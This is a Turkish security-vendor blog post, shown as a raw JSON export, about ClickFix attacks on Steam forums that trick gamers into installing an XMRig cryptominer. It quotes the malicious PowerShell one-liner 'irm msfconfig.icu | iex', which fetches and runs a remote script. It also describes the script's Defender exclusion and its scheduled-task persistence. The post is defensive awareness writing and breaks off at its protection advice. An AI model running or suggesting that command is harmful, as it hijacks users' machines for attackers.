{"id":14809,"date":"2026-08-26T13:43:56","date_gmt":"2026-08-26T10:43:56","guid":{"rendered":"https:\/\/www.kaspersky.com.tr\/blog\/?p=14809"},"modified":"2026-08-26T13:43:56","modified_gmt":"2026-08-26T10:43:56","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/www.kaspersky.com.tr\/blog\/steam-forum-clickfix-attack-irm-iex\/14809\/","title":{"rendered":"Oyuncular i\u00e7in k\u00f6t\u00fc bir tavsiye: ClickFix, Steam forumlar\u0131nda g\u00fcndeme geldi"},"content":{"rendered":"

Bu y\u0131l, ClickFix sald\u0131r\u0131lar\u0131nda<\/a> ger\u00e7ek bir art\u0131\u015f ya\u015fand\u0131. Su\u00e7lular aras\u0131nda o kadar pop\u00fcler ki, bir varyant hakk\u0131nda yaz\u0131m\u0131z\u0131 daha bitirmeden bir sonraki varyant\u0131 incelemenin zaman\u0131 gelmi\u015f oluyor.<\/p>\n

Bu sefer sald\u0131rganlar oyuncular\u0131 hedef al\u0131yor: Teknoloji muhabirleri, Steam forumlar\u0131nda zararl\u0131 tavsiyeler i\u00e7eren payla\u015f\u0131mlar tespit etti<\/a>. Bu payla\u015f\u0131mlar nas\u0131l g\u00f6r\u00fcn\u00fcyor, hangi zararl\u0131 yaz\u0131l\u0131mlar\u0131 yaymak i\u00e7in kullan\u0131l\u0131yor ve cihaz\u0131n\u0131z\u0131 nas\u0131l g\u00fcvende tutabilirsiniz?<\/p>\n

ClickFix, Steam forumlar\u0131nda yer buluyor<\/h2>\n

Bir\u00e7ok oyuncu, zorlu bir g\u00f6revi tamamlamak, seviye atlamak, en iyi ganimetleri elde etmek ya da bir hatay\u0131 a\u015fmak gibi konularda yard\u0131m ve tavsiye almak i\u00e7in Steam forumlar\u0131ndaki di\u011fer oyunculara ba\u015fvurur. Sald\u0131rganlar da tam da topluluktan gelen tavsiyelere duyulan bu g\u00fcveni istismar etmeyi hedefliyor.<\/p>\n

Sald\u0131r\u0131, su\u00e7lular\u0131n, bir ki\u015finin oyun \u00e7\u00f6kmeleri, kaybolan envanter \u00f6geleri veya di\u011fer teknik sorunlarla ilgili sorusuna yan\u0131t vermesiyle ba\u015fl\u0131yor. Yard\u0131msever yorumcular gibi davranarak, PowerShell\u2019i y\u00f6netici olarak a\u00e7may\u0131 ve kullan\u0131c\u0131n\u0131n ya\u015fad\u0131\u011f\u0131 sorunu s\u00f6zde \u00e7\u00f6zecek bir komutu \u00e7al\u0131\u015ft\u0131rmay\u0131 \u00f6neriyorlar.<\/p>\n

\"Bir<\/a>

G\u00f6nderisini sorun giderme tavsiyesi gibi g\u00f6stererek, k\u00f6t\u00fc niyetli ki\u015fi PowerShell\u2019i y\u00f6netici olarak \u00e7al\u0131\u015ft\u0131rmay\u0131 ve kullan\u0131c\u0131n\u0131n sorununu \u00e7\u00f6zd\u00fc\u011f\u00fc iddia edilen bir komutu y\u00fcr\u00fctmeyi \u00f6neriyor. Kaynak <\/a><\/p><\/div>\n

Tahmin edebilece\u011finiz gibi, bu komutu \u00e7al\u0131\u015ft\u0131rmak hi\u00e7bir \u015feyi d\u00fczeltmez; sadece yepyeni bir sorunlar zincirini ba\u015flat\u0131r. ClickFix\u2019in ard\u0131ndaki temel fikir budur: Sosyal m\u00fchendislik y\u00f6ntemlerini kullanarak kurbanlar\u0131, cihaz\u0131 ele ge\u00e7irmek i\u00e7in doland\u0131r\u0131c\u0131lar\u0131n ihtiya\u00e7 duydu\u011fu bilgileri vermeye ikna etmek. Daha \u00f6nce ClickFix ile ilgili ba\u015fka hilelerden de bahsetmi\u015ftik (sahte CAPTCHA\u2019lar, uydurma taray\u0131c\u0131 hatalar\u0131 ve daha fazlas\u0131); bunlar\u0131n hepsi, kurban\u0131n k\u00f6t\u00fc ama\u00e7l\u0131 komutu kendi iste\u011fiyle \u00e7al\u0131\u015ft\u0131rmas\u0131n\u0131 sa\u011flamaya dayan\u0131yor. ClickFix sald\u0131r\u0131lar\u0131n\u0131n farkl\u0131 t\u00fcrleri<\/a> hakk\u0131nda daha fazla bilgiyi \u00f6nceki yaz\u0131m\u0131zda bulabilirsiniz.<\/p>\n

Steam forumlar\u0131nda ClickFix\u2019i kullanman\u0131n sinsi yan\u0131, sald\u0131r\u0131n\u0131n yaln\u0131zca yard\u0131m isteyen oyuncuyu de\u011fil, ayn\u0131 sorunla kar\u015f\u0131la\u015fan ve Google aramas\u0131 yoluyla cevab\u0131 bulan pek \u00e7ok ba\u015fka oyuncuyu da tuza\u011fa d\u00fc\u015f\u00fcrebilmesidir.<\/p>\n

K\u0131sa bir giri\u015f: irm <\/em>| iex<\/em> komutunun arkas\u0131nda ger\u00e7ekte ne var?<\/h2>\n

Sald\u0131rganlar\u0131n oyuncular\u0131 bu \u015fekilde y\u00fcklemeye nas\u0131l kand\u0131rd\u0131klar\u0131na girmeden \u00f6nce, baz\u0131 teknik bilgileri ele almam\u0131z gerekiyor. \u00d6ncelikle, Steam forumlar\u0131ndaki mesajlar, hi\u00e7bir \u015feyden haberi olmayan potansiyel kurbanlara PowerShell\u2019de a\u015fa\u011f\u0131daki komutu \u00e7al\u0131\u015ft\u0131rmalar\u0131n\u0131 tavsiye ediyor:<\/p>\n

irm msfconfig.icu | iex<\/code><\/p>\n

PowerShell\u2019i yak\u0131ndan tan\u0131mayan birine bu sat\u0131r olduk\u00e7a zarars\u0131z g\u00f6r\u00fcnebilir; birka\u00e7 ek parametreyle birlikte Windows\u2019un yerle\u015fik sistem yap\u0131land\u0131rma arac\u0131 olan MSConfig\u2019i \u00e7al\u0131\u015ft\u0131rmaya benziyor.<\/p>\n

Oysa ger\u00e7ekte, bu hi\u00e7 de zarars\u0131z bir \u015fey de\u011fildir. Bu komutun her bir b\u00f6l\u00fcm\u00fcn\u00fcn asl\u0131nda ne i\u015fe yarad\u0131\u011f\u0131n\u0131 tek tek inceleyelim:<\/p>\n

    \n
  1. irm<\/em><\/strong>, yerle\u015fik Invoke-RestMethod<\/em> PowerShell komutunun k\u0131saltmas\u0131d\u0131r. Sat\u0131r\u0131n ilerleyen k\u0131s\u0131mlar\u0131nda belirtilen web adresine eri\u015fir ve yan\u0131t olarak verileri al\u0131r.<\/li>\n
  2. icu<\/em><\/strong>, o web adresidir; ilk bak\u0131\u015fta \u00f6yle g\u00f6r\u00fcnebilece\u011fi gibi, herhangi bir yerel dosyan\u0131n ad\u0131 de\u011fildir. Bu, sald\u0131rganlar\u0131n sunucusudur ve irm<\/em><\/strong> talebine k\u00f6t\u00fc ama\u00e7l\u0131 bir PowerShell komut dosyas\u0131 ile yan\u0131t vermektedir.<\/li>\n
  3. iex<\/em><\/strong>, PowerShell\u2019in bir ba\u015fka yerle\u015fik komutudur: Invoke-Expression<\/em>. irm<\/em><\/strong> komutunun o web adresinden ald\u0131\u011f\u0131 her \u015feyi al\u0131r ve bunu PowerShell kodu olarak \u00e7al\u0131\u015ft\u0131r\u0131r.<\/li>\n<\/ol>\n

    Bu PowerShell kod sat\u0131r\u0131 \u00e7al\u0131\u015ft\u0131r\u0131ld\u0131\u011f\u0131nda, belirtilen siteden bir komut dosyas\u0131 indirir ve hemen \u00e7al\u0131\u015ft\u0131r\u0131r. Bir Reddit kullan\u0131c\u0131s\u0131n\u0131n hakl\u0131 olarak i\u015faret etti\u011fi<\/em><\/strong><\/a> gibi, ikinci k\u0131sm\u0131, yani iex<\/strong><\/em> k\u0131sm\u0131n\u0131 silerek, kodun \u00e7al\u0131\u015ft\u0131r\u0131lma riski olmadan, cihaz\u0131n\u0131za ger\u00e7ekten hangi kodun indirilece\u011fini g\u00fcvenle \u00f6\u011frenebilirsiniz. Bu se\u00e7enek olmadan, komut sadece komut dosyas\u0131n\u0131n i\u00e7eri\u011fini indirir ve bunlar\u0131 y\u00fcr\u00fctmeden PowerShell penceresine yazd\u0131r\u0131r. Bu, cihaz\u0131n\u0131zda \u00e7al\u0131\u015ft\u0131rman\u0131z istenen kodun tam ve engelsiz halini size sunar. \u015eimdi de, bu yard\u0131msever Steam forum kullan\u0131c\u0131lar\u0131n\u0131n asl\u0131nda oyuncular\u0131n bilgisayarlar\u0131na neyi y\u00fcklemelerini sa\u011flamaya \u00e7al\u0131\u015ft\u0131klar\u0131na bir g\u00f6z atal\u0131m.<\/p>\n

    Optimizasyon arac\u0131 de\u011fil, bir kripto madencili\u011fi<\/h2>\n

    Sald\u0131rganlar \u00f6devlerini iyi yapm\u0131\u015f: Sunucular\u0131ndan indirilen PowerShell komut dosyas\u0131, bir Windows optimizasyon arac\u0131n\u0131 taklit etme konusunda olduk\u00e7a inand\u0131r\u0131c\u0131. Uygulama ba\u015flat\u0131ld\u0131\u011f\u0131nda, kullan\u0131c\u0131ya ge\u00e7ici dosyalar\u0131 temizleyece\u011fini, DNS \u00f6nbelle\u011fini bo\u015faltaca\u011f\u0131n\u0131, s\u00fcr\u00fcc\u00fcleri g\u00fcncelleyece\u011fini, diskte hata olup olmad\u0131\u011f\u0131n\u0131 kontrol edece\u011fini, gereksiz ba\u015flang\u0131\u00e7 uygulamalar\u0131n\u0131 devre d\u0131\u015f\u0131 b\u0131rakaca\u011f\u0131n\u0131, sistemi zararl\u0131 yaz\u0131l\u0131mlara kar\u015f\u0131 tarayaca\u011f\u0131n\u0131, Windows g\u00f6r\u00fcnt\u00fcs\u00fcn\u00fc onaraca\u011f\u0131n\u0131 ve sistem dosyalar\u0131n\u0131n b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc do\u011frulayaca\u011f\u0131n\u0131 iddia eden bir dizi bildirim g\u00f6steriyor.<\/p>\n

    \"Sahte<\/a>

    Bu komut dosyas\u0131, yararl\u0131 bir bak\u0131m i\u015flemi ger\u00e7ekle\u015ftiriyormu\u015f gibi g\u00f6r\u00fcnmesi i\u00e7in \u00e7e\u015fitli sahte optimizasyon g\u00f6revlerine ili\u015fkin bir dizi mesaj g\u00f6r\u00fcnt\u00fcl\u00fcyor. Kaynak <\/a><\/p><\/div>\n

    Oysa as\u0131l hareket, sahne arkas\u0131nda ya\u015fanmakta. Komut dosyas\u0131, \u00f6ncelikle y\u00f6netici ayr\u0131cal\u0131klar\u0131yla \u00e7al\u0131\u015ft\u0131r\u0131l\u0131p \u00e7al\u0131\u015ft\u0131r\u0131lmad\u0131\u011f\u0131n\u0131 kontrol ederek i\u015fe ba\u015fl\u0131yor. \u00c7al\u0131\u015ft\u0131r\u0131lm\u0131\u015f durumdaysa, C:\\Windows\\Background<\/em> konumunda gizli bir \u00e7al\u0131\u015fma klas\u00f6r\u00fc olu\u015fturuyor ve bunu Microsoft Defender\u2019\u0131n istisna listesine ekliyor. O andan itibaren, s\u00f6z konusu klas\u00f6re yerle\u015ftirilen dosyalar Windows\u2019un yerle\u015fik antivir\u00fcs program\u0131 taraf\u0131ndan taranmaz hale geliyor.<\/p>\n

    Ard\u0131ndan, komut dosyas\u0131 sistemi sald\u0131r\u0131n\u0131n bir sonraki a\u015famas\u0131na haz\u0131rl\u0131yor ve sald\u0131rganlar\u0131n sunucusundan bir y\u00fcr\u00fct\u00fclebilir dosya indiriyor; bu dosyay\u0131, kula\u011fa yasal gibi gelen system.exe<\/em> ad\u0131yla ayn\u0131 C:\\Windows\\Background<\/em> klas\u00f6r\u00fcne kaydediyor.<\/p>\n

    \u0130ndirilen dosya, Monero kripto para birimini madencili\u011fi i\u00e7in en pop\u00fcler ara\u00e7lardan biri olan XMRig<\/em>. XMRig<\/em>\u2018in kendisi zararl\u0131 yaz\u0131l\u0131m de\u011fil; yasal, a\u00e7\u0131k kaynakl\u0131 bir madencilik arac\u0131. Sorun \u015fu ki, sald\u0131rganlar bunu kurbanlar\u0131n bilgisayarlar\u0131na onlar\u0131n haberi olmadan y\u00fckl\u00fcyor. Cihaz \u00e7al\u0131\u015fmaya ba\u015flad\u0131\u011f\u0131nda, hesaplama g\u00fcc\u00fc Monero madencili\u011fi i\u00e7in ele ge\u00e7iriliyor ve elde edilen kripto para do\u011frudan sald\u0131rganlar\u0131n eline ge\u00e7iyor.<\/p>\n

    Bu durum, oyuncular\u0131n bilgisayarlar\u0131n\u0131 \u00f6zellikle cazip hedefler haline getiriyor: Modern oyun bilgisayarlar\u0131, kripto madencili\u011fi i\u00e7in bi\u00e7ilmi\u015f kaftan olan g\u00fc\u00e7l\u00fc CPU\u2019lar ve GPU\u2019lar bulunuyor.<\/p>\n

    Zararl\u0131 yaz\u0131l\u0131m\u0131n sistemin yeniden ba\u015flat\u0131lmas\u0131ndan sonra da \u00e7al\u0131\u015fmaya devam etmesini sa\u011flamak i\u00e7in, komut dosyas\u0131 ayr\u0131ca Windows G\u00f6rev Zamanlay\u0131c\u0131s\u0131\u2019nda yeni bir g\u00f6rev olu\u015fturuyor: XMRig-{bilgisayar ad\u0131}<\/em>. O andan itibaren, sistem her ba\u015flat\u0131ld\u0131\u011f\u0131nda kripto madencili\u011fi program\u0131 otomatik olarak \u00e7al\u0131\u015fmaya ba\u015fl\u0131yor.<\/p>\n

    Cihaz\u0131n\u0131z\u0131 kripto madencileri ve di\u011fer zararl\u0131 yaz\u0131l\u0131mlardan nas\u0131l koruyabilirsiniz?<\/h2>\n

    Ne yaz\u0131k ki, pek \u00e7ok oyuncu cihazlar\u0131na g\u00fcvenlik yaz\u0131l\u0131m\u0131 y\u00fcklemeyi veya bu yaz\u0131l\u0131m\u0131 \u00e7al\u0131\u015f\u0131r durumda tutmay\u0131 istemiyor. Bunun ba\u015fl\u0131ca nedeni, \u201cantivir\u00fcs program\u0131 oyunu yava\u015flat\u0131r\u201d \u015feklindeki yayg\u0131n inan\u0131\u015f. Bu konuyla ilgili ara\u015ft\u0131rmalar\u0131 daha \u00f6nce blogumuzda ele alm\u0131\u015ft\u0131k ve sonu\u00e7lar, oyun oynarken bir antivir\u00fcs program\u0131n\u0131n \u00e7al\u0131\u015ft\u0131r\u0131lmas\u0131n\u0131n performans \u00fczerinde kayda de\u011fer bir d\u00fc\u015f\u00fc\u015fe yol a\u00e7mad\u0131\u011f\u0131n\u0131<\/a> g\u00f6stermi\u015fti.<\/p>\n

    Ancak ayn\u0131 \u015fey kripto madencileri i\u00e7in ge\u00e7erli de\u011fil. Kripto madencileri performans\u0131 kesinlikle olumsuz etkiliyor ve \u00fcstelik donan\u0131m\u0131n\u0131z\u0131 daha h\u0131zl\u0131 y\u0131prat\u0131yor. Peki, oyun bilgisayar\u0131n\u0131z\u0131 ve hesaplar\u0131n\u0131z\u0131 tehlikeden korumak i\u00e7in ne yapabilirsiniz?<\/p>\n